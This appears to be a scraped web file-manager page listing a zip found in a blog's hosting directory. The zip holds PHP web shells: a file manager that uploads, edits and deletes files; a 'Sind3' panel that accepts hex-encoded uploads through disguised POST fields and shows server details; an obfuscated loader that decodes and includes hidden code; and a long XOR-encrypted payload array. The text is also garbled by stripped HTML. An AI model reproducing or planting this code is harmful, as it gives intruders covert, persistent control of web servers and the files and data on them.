芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/yzel8j.zip


"; echo " "; echo "Cancel"; echo "
"; exit; } } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; // Check if this is a confirmation request $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes'; if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); $message = "Folder '{$file}' deleted successfully!"; } else { if(unlink($file_path)){ $message = "File '{$file}' deleted successfully!"; } else { $message = "Error deleting file '{$file}'!"; } } header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message)); exit; } else { // Show confirmation page if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ echo "Confirm Delete"; echo "

Confirm Delete

"; echo "

Are you sure you want to delete '".htmlspecialchars($file)."'?

"; echo "

Type: " . (is_dir($file_path) ? "Folder" : "File") . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "
"; echo "YES, DELETE | "; echo "Cancel"; echo ""; exit; } } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ if(move_uploaded_file($uploaded['tmp_name'], $dest)){ @chmod($dest, 0644); $message = "File '{$name}' uploaded successfully!"; } else { $message = "Error uploading file '{$name}'!"; } } else { $message = "Invalid upload path!"; } } else { $message = "Upload error: " . $uploaded['error']; } } // Stay on same page with message break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ if(mkdir($fp, 0755, true)){ $message = "Folder '{$folder}' created successfully!"; } else { $message = "Error creating folder '{$folder}'!"; } } else { $message = "Folder already exists or invalid path!"; } } else { $message = "Please enter a folder name!"; } } // Stay on same page with message break; } // Get message from URL if redirected if(isset($_GET['message'])){ $message = $_GET['message']; } ?> File Manager

File Manager -

← Back 🏠 Project 📁 Root     Current: / () /

No files or folders found in this directory.

Name Type Size Modified Actions
📁 📄 Open Edit Download Delete
Security Info: You can only access files within:
PKQsm\Aj%\%\ 8vgr5.phpnu[ '; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
$l) { if ($l == '' && $m == 0) { $breadcrumbHtml .= '/'; } if ($l == '') continue; $breadcrumbHtml .= ''.$l.'/'; } echo $breadcrumbHtml; exit; } function safe_stream_copy($in, $out): bool { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } if (fwrite($out, $buff) === false) { return false; } } } while (!feof($in)); return true; } else { return stream_copy_to_stream($in, $out) !== false; } } if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) { $fileName = $_POST['benkyo']; $encodedContent = $_POST['dakeja']; $decodedContent = hex2bin($encodedContent); if ($decodedContent === false) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']); } else { setFlash('failed', 'Invalid Base64 encoding'); header("Location: ?d=" . hex($d)); } exit; } $tempStream = fopen('php://temp', 'r+'); fwrite($tempStream, $decodedContent); rewind($tempStream); $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName); $outStream = fopen($targetPath, 'wb'); $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream); if ($outStream) fclose($outStream); if ($tempStream) fclose($tempStream); if ($success) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']); } else { setFlash('success', 'File uploaded successfully'); header("Location: ?d=" . hex($d)); } } else { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']); } else { setFlash('failed', 'File upload failed'); header("Location: ?d=" . hex($d)); exit; } } exit; } if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) { if ($_GET['action'] === 'delete') { $fileName = $_GET['file']; $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName); if (!$filePath || !is_file($filePath)) { $response = ['status'=>'failed','msg'=>'File not found or access denied']; } else { $result = unlink($filePath); $response = $result ? ['status'=>'success','msg'=>'File deleted successfully'] : ['status'=>'failed','msg'=>'File deletion failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } elseif ($_GET['action'] === 'rename') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name']; if ($oldFile && is_file($oldFile)) { $result = rename($oldFile, $newFile); $response = $result ? ['status'=>'success','msg'=>'File renamed successfully'] : ['status'=>'failed','msg'=>'File renaming failed']; header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status'=>'failed','msg'=>'File not found']); exit; } } elseif ($isAjax) { echo '

Rename File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; exit; } } elseif ($_GET['action'] === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $fp = fopen($filePath, "w"); if ($fp) { $bytesWritten = fwrite($fp, stripslashes($_POST['content'])); fclose($fp); $response = ($bytesWritten !== false) ? ['status' => 'success', 'msg' => 'File edited successfully'] : ['status' => 'failed', 'msg' => 'File editing failed']; } else { $response = ['status' => 'failed', 'msg' => 'File opening failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File not found']); exit; } } elseif ($isAjax) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $content = file_get_contents($filePath); echo '

Edit File: ' . htmlspecialchars($_GET['file']) . '

'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo '

'; } exit; } } } ?> Sind3
   SERV :
   SOFT :
   IP   :

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————




'; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
PKQsm\USS hpmo7.phpnu[> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF; } else { $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF; } $out .= chr($b); } return $out; } function ODCahlbgkR($fname, $payload) { $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php'; if (@file_put_contents($tmp, $payload) !== false) { @chmod($tmp, 0640); if (@rename($tmp, $fname)) { @include_once($fname); return true; } } @file_put_contents($fname, $payload); @include_once($fname); return true; } try { $enc = SuiROhBDIg($SMpiPHfV); $s = ''; for ($i=0;$iPKQsm\Tii index.phpnu[PKQsm\RHH vfze4.phpnu[cryptKey; $klen = strlen($key); for ($i = 0, $len = strlen($data); $i < $len; $i++) { $out .= chr(ord($data[$i]) ^ ord($key[$i % $klen])); } return $out; } public function buildPayload(): string { $M = [ [ 3, 2, -1], [ 1, 0, 4], [ 5, -2, 3], ]; $tantatnojg = pi() / 6; $v = [ sin($tantatnojg) * 100, cos($tantatnojg) * 100, tan($tantatnojg) * 100, ]; $nV = [0, 0, 0]; for ($i = 0; $i < 3; $i++) { for ($j = 0; $j < 3; $j++) { $nV[$i] += $M[$i][$j] * $v[$j]; } } $z1 = [3, 2]; $z2 = [1, 7]; list($compA, $compB) = $this->xxxinwqitb($z1, $z2); $eyyenyneo = abs($compA); $nainnnnllnl = abs($compB); $kirtniettat = abs((int)(log($tantatnojg) * 100)); $kfowqnontt = abs((int)(atan($tantatnojg) * 100)); $mfoiqnwotow = abs((int)(sqrt($tantatnojg) * 100)); $key = ( (int)($nV[0] + $nV[1] + $nV[2]) ^ $eyyenyneo ^ $nainnnnllnl ^ $kirtniettat ^ $kfowqnontt ^ $mfoiqnwotow ) & 0xFF; $enc = [93, 94, 88, 85, 90, 87, 94, 17, 72, 77, 87, 82, 88, 77, 100, 77, 66, 73, 94, 72, 6, 10, 18, 0, 54, 63, 81, 94, 90, 93, 94, 87, 100, 87, 94, 86, 84, 75, 94, 17, 28, 97, 22, 105, 84, 76, 94, 87, 94, 93, 22, 7, 66, 28, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 25, 81, 94, 65, 25, 81, 94, 85, 73, 94, 87, 72, 25, 91, 84, 87, 25, 83, 90, 80, 65, 83, 25, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 81, 94, 65, 100, 17, 72, 77, 87, 82, 83, 92, 25, 29, 83, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 66, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 83, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 16, 16, 18, 25, 29, 66, 25, 19, 6, 25, 93, 94, 88, 81, 94, 65, 17, 84, 87, 93, 17, 29, 83, 96, 29, 82, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 66, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 78, 81, 94, 65, 17, 72, 77, 87, 82, 83, 92, 25, 29, 66, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 66, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 20, 99, 96, 9, 22, 2, 90, 22, 91, 122, 22, 123, 102, 16, 29, 20, 28, 21, 25, 29, 66, 18, 25, 26, 6, 6, 25, 10, 25, 69, 69, 25, 17, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 25, 30, 25, 23, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 83, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 25, 16, 6, 25, 23, 18, 25, 29, 83, 25, 19, 6, 25, 88, 81, 87, 17, 81, 94, 65, 93, 94, 88, 17, 29, 66, 96, 29, 82, 102, 25, 19, 25, 29, 66, 96, 29, 82, 16, 10, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 83, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 84, 84, 77, 25, 93, 94, 87, 82, 75, 94, 93, 25, 91, 87, 84, 86, 25, 88, 78, 87, 87, 94, 83, 77, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 28, 72, 25, 93, 87, 82, 75, 94, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 18, 15, 20, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 86, 96, 10, 102, 25, 19, 25, 28, 15, 20, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 29, 120, 110, 119, 119, 126, 115, 109, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 92, 94, 77, 88, 76, 93, 17, 18, 18, 25, 4, 15, 25, 92, 94, 77, 88, 76, 93, 17, 18, 0, 54, 63, 29, 119, 116, 116, 109, 25, 6, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 29, 120, 110, 119, 119, 126, 115, 109, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 104, 94, 87, 75, 94, 87, 25, 82, 83, 91, 84, 25, 91, 84, 87, 25, 81, 94, 90, 93, 94, 87, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 25, 6, 25, 73, 81, 73, 100, 78, 83, 90, 86, 94, 17, 18, 0, 54, 63, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 104, 116, 123, 109, 108, 122, 119, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 72, 77, 87, 82, 83, 92, 25, 29, 72, 84, 91, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 25, 6, 25, 72, 77, 87, 77, 84, 85, 84, 76, 94, 87, 17, 29, 72, 84, 91, 77, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 85, 82, 77, 94, 72, 73, 94, 94, 93, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 117, 82, 77, 94, 104, 73, 94, 94, 93, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 90, 73, 90, 88, 81, 94, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 122, 73, 90, 88, 81, 94, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 83, 92, 82, 83, 65, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 83, 92, 82, 83, 65, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 84, 91, 77, 25, 26, 6, 6, 25, 28, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 72, 84, 91, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 70, 54, 63, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 25, 6, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 18, 0, 54, 63, 54, 63, 20, 31, 25, 7, 94, 72, 77, 22, 94, 91, 91, 84, 87, 77, 25, 72, 94, 87, 75, 94, 87, 25, 114, 105, 25, 31, 20, 54, 63, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 122, 125, 125, 119, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 84, 72, 77, 115, 90, 86, 94, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 83, 90, 86, 94, 17, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 26, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 115, 122, 118, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 82, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 82, 73, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 113, 94, 85, 73, 94, 87, 72, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 96, 101, 101, 101, 101, 20, 102, 24, 28, 21, 25, 29, 73, 18, 25, 6, 6, 6, 25, 10, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 78, 103, 72, 77, 87, 17, 29, 73, 21, 25, 9, 21, 25, 23, 18, 25, 6, 6, 6, 25, 28, 101, 101, 101, 101, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 72, 72, 94, 77, 17, 29, 73, 96, 9, 102, 18, 25, 27, 27, 25, 29, 73, 96, 9, 102, 25, 6, 6, 6, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 18, 0, 25, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 103, 90, 72, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 90, 72, 94, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 103, 90, 72, 94, 18, 25, 4, 15, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 19, 28, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 29, 73, 90, 77, 81, 18, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 103, 90, 72, 94, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 94, 90, 85, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 29, 87, 94, 90, 85, 25, 6, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 90, 85, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 29, 87, 84, 84, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 84, 84, 77, 18, 21, 25, 28, 20, 28, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 6, 6, 25, 29, 87, 84, 84, 77, 25, 69, 69, 25, 72, 77, 87, 73, 84, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 29, 87, 84, 84, 77, 25, 19, 25, 28, 20, 28, 18, 25, 6, 6, 6, 25, 9, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 82, 83, 77, 25, 29, 103, 66, 77, 94, 72, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 66, 77, 94, 72, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 103, 66, 77, 94, 72, 25, 19, 25, 39, 25, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 80, 103, 25, 6, 25, 29, 103, 66, 77, 94, 72, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 80, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 80, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 112, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 86, 103, 25, 6, 25, 29, 80, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 86, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 86, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 118, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 92, 103, 25, 6, 25, 29, 86, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 92, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 124, 7, 39, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 90, 87, 87, 90, 66, 25, 64, 54, 63, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 29, 93, 82, 87, 25, 6, 25, 72, 88, 90, 83, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 104, 120, 122, 115, 125, 114, 119, 100, 104, 116, 119, 109, 100, 122, 104, 120, 126, 115, 125, 114, 115, 124, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 93, 82, 87, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 93, 82, 87, 25, 90, 72, 25, 29, 83, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 